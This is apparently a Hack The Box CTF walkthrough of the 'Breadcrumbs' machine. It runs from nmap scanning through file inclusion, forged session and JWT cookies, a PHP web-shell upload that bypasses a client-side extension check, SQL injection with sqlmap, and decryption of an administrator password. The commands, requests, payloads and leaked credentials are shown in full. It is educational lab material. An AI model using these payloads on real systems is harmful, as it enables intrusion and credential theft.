Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# Nmap done at Tue Jul 13 04:06:21 2021 -- 1 IP address (1 host up) scanned in 49.05 seconds
root@kali:~/ctf/htb/Breadcrumbs/10.129.163.3/nmap#
root@kali:~/ctf/htb/Breadcrumbs/10.129.163.3/nmap# cat Script_10.129.163.3.nmap
# Nmap 7.80 scan initiated Tue Jul 13 04:05:32 2021 as: /usr/bin/nmap -sCV -p22,80,135,139,443,445,3306 --open -oN nmap/Script_10.129.163.3.nmap --system-dns --stats-every 2s 10.129.163.3
Nmap scan report for 10.129.163.3
Host is up (0.27s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 9d:d0:b8:81:55:54:ea:0f:89:b1:10:32:33:6a:a7:8f (RSA)
| 256 1f:2e:67:37:1a:b8:91:1d:5c:31:59:c7:c6:df:14:1d (ECDSA)
|_ 256 30:9e:5d:12:e3:c6:b7:c6:3b:7e:1e:e7:89:7e:83:e4 (ED25519)
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds?
3306/tcp open mysql?
| fingerprint-strings:
| oracle-tns:
|_ Host '10.10.17.189' is not allowed to connect to this MariaDB server
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.80%I=7%D=7/13%Time=60ED112E%P=x86_64-pc-linux-gnu%r(or
SF:acle-tns,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.17\.189'\x20is\x20not\x
SF:20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -1h00m00s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-07-13T03:06:14
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul 13 04:06:21 2021 -- 1 IP address (1 host up) scanned in 49.05 seconds
Enumeration
Port 22: SSH on windows let’s enumerate 135,139,445 first. Let’s see if the box has a recent vulnerabiltiy PrintNightMare.
1
2
root@kali:~/ctf/htb/Breadcrumbs/10.129.163.3/nmap# rpcdump.py @10.129.163.3 | grep MS-RP
root@kali:~/ctf/htb/Breadcrumbs/10.129.163.3/nmap#
The box is not vulnerable to printnightmare.
Default access to enumerate 135,139,445 are not allowed.
Now we have 80, 443
Looks like we have a lfi on the machine. make a note of actual path of the lfi.
1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK
Date: Tue, 13 Jul 2021 04:10:27 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
X-Powered-By: PHP/8.0.1
Content-Length: 361
Connection: close
Content-Type: text/html; charset=UTF-8
<br />
<b>Warning</b>: Undefined array key "book" in <b>C:\Users\www-data\Desktop\xampp\htdocs\includes\bookController.php</b> on line <b>28</b><br />
<br />
<b>Warning</b>: file_get_contents(../books/): Failed to open stream: No such file or directory in <b>C:\Users\www-data\Desktop\xampp\htdocs\includes\bookController.php</b> on line <b>28</b><br />
false
From the above error, the page expects a book variable for loading the contents of the webpage.
We have a Successful LFI with book variable
1
2
3
4
5
6
7
8
9
> users.txt
alex
emma
jack
john
lucas
olivia
paul
william
1
2
> password.txt
jUli901
Let’s try a brute with usernames and passwords.
No luck with username, password combinations. After registering and logging in we have more options. We have some new users here. Let’s grab them and put in our files.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
<?php
require 'db\/db.php';
require \"cookie.php\";
require \"vendor\/autoload.php\";
use \\Firebase\\JWT\\JWT;
$errors = array();
$username = \"\";
$userdata = array();
$valid = false;
$IP = $_SERVER['REMOTE_ADDR'];
\/\/if user clicks on login
if($_SERVER['REQUEST_METHOD'] === \"POST\"){
if($_POST['method'] == 0){
$username = $_POST['username'];
$password = $_POST['password'];
$query = \"SELECT username,position FROM users WHERE username=? LIMIT 1\";
$stmt = $con->prepare($query);
$stmt->bind_param('s', $username);
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_array(MYSQLI_ASSOC)){
array_push($userdata, $row);
}
$userCount = $result->num_rows;
$stmt->close();
if($userCount > 0){
$password = sha1($password);
$passwordQuery = \"SELECT * FROM users WHERE password=? AND username=? LIMIT 1\";
$stmt = $con->prepare($passwordQuery);
$stmt->bind_param('ss', $password, $username);
$stmt->execute();
$result = $stmt->get_result();
if($result->num_rows > 0){
$valid = true;
}
$stmt->close();
}
if($valid){
session_id(makesession($username));
session_start();
$secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
$data = array();
$payload = array(
\"data\" => array(
\"username\" => $username
));
$jwt = JWT::encode($payload, $secret_key, 'HS256');
setcookie(\"token\", $jwt, time() + (86400 * 30), \"\/\");
$_SESSION['username'] = $username;
$_SESSION['loggedIn'] = true;
if($userdata[0]['position'] == \"\"){
$_SESSION['role'] = \"Awaiting approval\";
}
else{
$_SESSION['role'] = $userdata[0]['position'];
}
header(\"Location: \/portal\");
}
else{
$_SESSION['loggedIn'] = false;
$errors['valid'] = \"Username or Password incorrect\";
}
}
elseif($_POST['method'] == 1){
$username=$_POST['username'];
$password=$_POST['password'];
$passwordConf=$_POST['passwordConf'];
if(empty($username)){
$errors['username'] = \"Username Required\";
}
if(strlen($username) < 4){
$errors['username'] = \"Username must be at least 4 characters long\";
}
if(empty($password)){
$errors['password'] = \"Password Required\";
}
if($password !== $passwordConf){
$errors['passwordConf'] = \"Passwords don't match!\";
}
$userQuery = \"SELECT * FROM users WHERE username=? LIMIT 1\";
$stmt = $con->prepare($userQuery);
$stmt ->bind_param('s',$username);
$stmt->execute();
$result = $stmt->get_result();
$userCount = $result->num_rows;
$stmt->close();
if($userCount > 0){
$errors['username'] = \"Username already exists\";
}
if(count($errors) === 0){
$password = sha1($password);
$sql = \"INSERT INTO users(username, password, age, position) VALUES (?,?, 0, '')\";
$stmt = $con->prepare($sql);
$stmt ->bind_param('ss', $username, $password);
if ($stmt->execute()){
$user_id = $con->insert_id;
header('Location: login.php');
}
else{
$_SESSION['loggedIn'] = false;
$errors['db_error']=\"Database error: failed to register\";
}
}
}
}
?>
We have a secret key for making the cookie for a user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php session_start();
$LOGGED_IN = false;
if($_SESSION['username'] !== \"paul\"){
header(\"Location: ..\/index.php\");
}
if(isset($_SESSION['loggedIn'])){
$LOGGED_IN = true;
require '..\/db\/db.php';
}
else{
header(\"Location: ..\/auth\/login.php\");
die();
}
?>
<html lang=\"en\">
<head>
<title>Binary<\/title>
<meta charset=\"utf-8\">
<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">
<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">
<link rel=\"stylesheet\" href=\"https:\/\/maxcdn.bootstrapcdn.com\/bootstrap\/4.0.0\/css\/bootstrap.min.css\" integrity=\"sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW\/dAiS6JXm\" crossorigin=\"anonymous\">
<script src=\"https:\/\/ajax.googleapis.com\/ajax\/libs\/jquery\/3.2.1\/jquery.min.js\"><\/script>
<link rel=\"stylesheet\" type=\"text\/css\" href=\"..\/assets\/css\/main.css\">
<link rel=\"stylesheet\" type=\"text\/css\" href=\"..\/assets\/css\/all.css\">
<\/head>
<nav class=\"navbar navbar-default justify-content-end\">
<div class=\"navbar-header justify-content-end\">
<button type=\"button\" class=\"navbar-toggle btn btn-outline-info p-3 m-3\" data-toggle=\"collapse\" data-target=\".navbar-collapse\"><i class=\"fas fa-hamburger\"><\/i><\/button>
<\/div>
<div class=\"collapse navbar-collapse justify-content-end mr-5\">
<ul class=\"navbar-nav\">
<li class=\"nav-item\"><a class=\"nav-link text-right\" href=\"..\/index.php\"><i class=\"fas fa-home\"><\/i> Home<\/a><\/li>
<li class=\"nav-item\"><a class=\"nav-link text-right\" href=\"issues.php\"><i class=\"fa fa-check\" aria-hidden=\"true\"><\/i> Issues<\/a><\/li>
<li class=\"nav-item\"><a class=\"nav-link text-right\" href=\"users.php\"><i class=\"fa fa-user\" aria-hidden=\"true\"><\/i> User Management<\/a><\/li>
<li class=\"nav-item\"><a class=\"nav-link text-right\" href=\"#\"><i class=\"fa fa-file\" aria-hidden=\"true\"><\/i> File Management<\/a><\/li>
<li class=\"nav-item\"><a class=\"nav-link text-right\" href=\"..\/auth\/logout.php\"><i class=\"fas fa-sign-out-alt\"><\/i> Logout<\/a><\/li>
<\/ul>
<\/div>
<\/nav>
<body class=\"bg-dark\">
<main class=\"main\">
<div class=\"row justify-content-center text-white text-center\">
<div class=\"col-md-3\">
<h1>Task Submission<\/h1>
<p class=\"text-danger\"><i class=\"fas fa-exclamation-circle\"><\/i> Please upload only .zip files!<\/p>
<form onsubmit=\"return false\">
<div class=\"form-group mt-5\">
<input type=\"text\" class=\"form-control\" placeholder=\"Task completed\" id=\"task\" name=\"task\">
<\/div>
<div class=\"form-group\">
<input type=\"file\" class=\"form-control\" placeholder=\"Task\" id=\"file\" name=\"file\">
<\/div>
<button type=\"submit\" class=\"btn btn-outline-success btn-block py-3\" id=\"upload\">Upload<\/button>
<\/form>
<p id=\"message\"><\/p>
<\/div>
<\/div>
<\/div>
<\/main>
<?php include \"..\/includes\/footer.php\"; ?>
<script src=\"https:\/\/cdn.jsdelivr.net\/npm\/bootstrap@4.5.3\/dist\/js\/bootstrap.bundle.min.js\" integrity=\"sha384-ho+j7jyWK8fNQe+A12Hb8AhRq26LrZ\/JpcUGGOn+Y7RsweNrtN\/tE3MoK7ZeZDyx\" crossorigin=\"anonymous\"><\/script>
<script type=\"text\/javascript\" src='..\/assets\/js\/files.js'><\/script>
<\/body>
<\/html>
We see files.php is only accessible by paul user. let’s go to paul session by creating a cookie
1
2
3
4
5
6
7
8
9
10
--- Cookie.php ---
function makesession($username){
$max = strlen($username) - 1;
$seed = rand(0, $max);
$key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
$session_cookie = $username.md5($key);
return $session_cookie;
}
So now we have control on both the cookies. Let’s generate for paul user.
let’s replace the cookies with paul user cookies
1
2
3
4
5
6
7
8
9
10
11
GET /portal/php/files.php HTTP/1.1
Host: 10.129.163.3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.129.163.3/portal/
Connection: close
Cookie: PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU
Upgrade-Insecure-Requests: 1
YAY!! Now we impersonated as admin paul user and we have file upload options now.
We I tried to upload without a file, the application gave me an error. So Let’s pull fileController.php and how the file handling is taken care.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$(document).ready(function(){
$("#upload").click(function(){
var formData = new FormData();
formData.append('file', $('#file')[0].files[0]);
formData.append('task', $('#task').val() + ".zip");
post(formData);
formData = null;
})
});
function post(formData){
jQuery.ajax({
url: "../includes/fileController.php",
type: "POST",
processData: false,
contentType: false,
data: formData,
success: function(res){
$("#message").html(res);
}
});
}
When the form is submitted, javascript adds an extension to the task name before sending. As it is done at client side we can intercept and change the extension.
User
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /portal/includes/fileController.php HTTP/1.1
Host: 10.129.163.3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.129.163.3/portal/php/files.php
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------105167825618207529871265778955
Content-Length: 376
Connection: close
Cookie: PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU
-----------------------------105167825618207529871265778955
Content-Disposition: form-data; name="file"; filename="tiny.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
-----------------------------105167825618207529871265778955
Content-Disposition: form-data; name="task"
task.php
-----------------------------105167825618207529871265778955--
We are able to send the request but the server is not able to write into the uploads directory.
Let’s try with a different payload and check..
Let’s do a tcpdump and check are we getting any ping from the box.
And yes the script works. Now we a very limited shell on the machines. Let’s try to gain more from the shell.
1
2
3
4
5
6
7
8
9
10
11
{
"pizza" : "margherita",
"size" : "large",
"drink" : "water",
"card" : "VISA",
"PIN" : "9890",
"alternate" : {
"username" : "juliette",
"password" : "jUli901./())!",
}
}
Seems like we have AV on the machine and it is not allowing our automated scripts to run.
1
development: fN3)sN5Ee@g
As port 1234 is not open for all, let;s make a tunnel through
1
2
3
4
5
6
7
8
root@kali:~/ctf/htb/Breadcrumbs#
root@kali:~/ctf/htb/Breadcrumbs# ssh -L 1234:127.0.0.1:1234 development@breadcrumbs
development@breadcrumbs's password:
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
development@BREADCRUMBS C:\Users\development>
Root
1
2
3
4
5
6
7
root@kali:~/ctf/htb/Breadcrumbs# netstat -tunpl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:1234 0.0.0.0:* LISTEN 28767/ssh
tcp6 0 0 ::1:1234 :::* LISTEN 28767/ssh
root@kali:~/ctf/htb/Breadcrumbs# nano z
Let’s reverse the binary and see what it is doing. The binary does a simple call to a url using curl and get the key and compares with our key. So we can intercept the service manually and exploit it and get the key.
key : k19D193j.<19391(
when i supplied the key we have no luck. But looking at the query we can it seemed like a simple sql query. So i was trying for an sql-injection and we can dump the table values.
1
2
3
4
5
6
7
8
9
root@kali:~/ctf/htb/Breadcrumbs/Development# curl -XPOST http://passmanager.htb:1234/index.php -d "method=select&username=a' or 1=1-- --&table=passwords"
selectarray(1) {
[0]=>
array(1) {
["aes_key"]=>
string(16) "k19D193j.<19391("
}
}
root@kali:~/ctf/htb/Breadcrumbs/Development#
Let’s do it with sqlmap
1
root@kali:~/ctf/htb/Breadcrumbs/Development# sqlmap --url=http://passmanager.htb:1234/index.php --data="method=select&username=administrator&table=passwords" -p "username" --method POST
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[1 entry]
+------+---------------+------------------+----------------------------------------------+
| id | account | aes_key | password |
+------+---------------+------------------+----------------------------------------------+
| 1 | Administrator | k19D193j.<19391( | H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw= |
+------+---------------+------------------+----------------------------------------------+
[14:00:53] [INFO] table 'bread.passwords' dumped to CSV file '/root/.local/share/sqlmap/output/passmanager.htb/dump/bread/passwords.csv'
[14:00:53] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/passmanager.htb'
[14:00:53] [WARNING] you haven't updated sqlmap for more than 377 days!!!
[*] ending @ 14:00:53 /2021-07-13/
The password is encrypted let’s decrypt the password with the aes_key provided
Password: p@ssw0rd!@#$9890./
http://icyberchef.com/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)AES_Decrypt(%7B'option':'Latin1','string':'k19D193j.%3C19391('%7D,%7B'option':'Hex','string':'0000000000000000000000000000000'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D)&input=SDJkRnovak53dFNUV0RVUm90OUpCaFdNUDZYT2RtY3BncXZZSEczNVFLdz0
And Finally Done. Really Good box. Lot of new things. Cheers!!!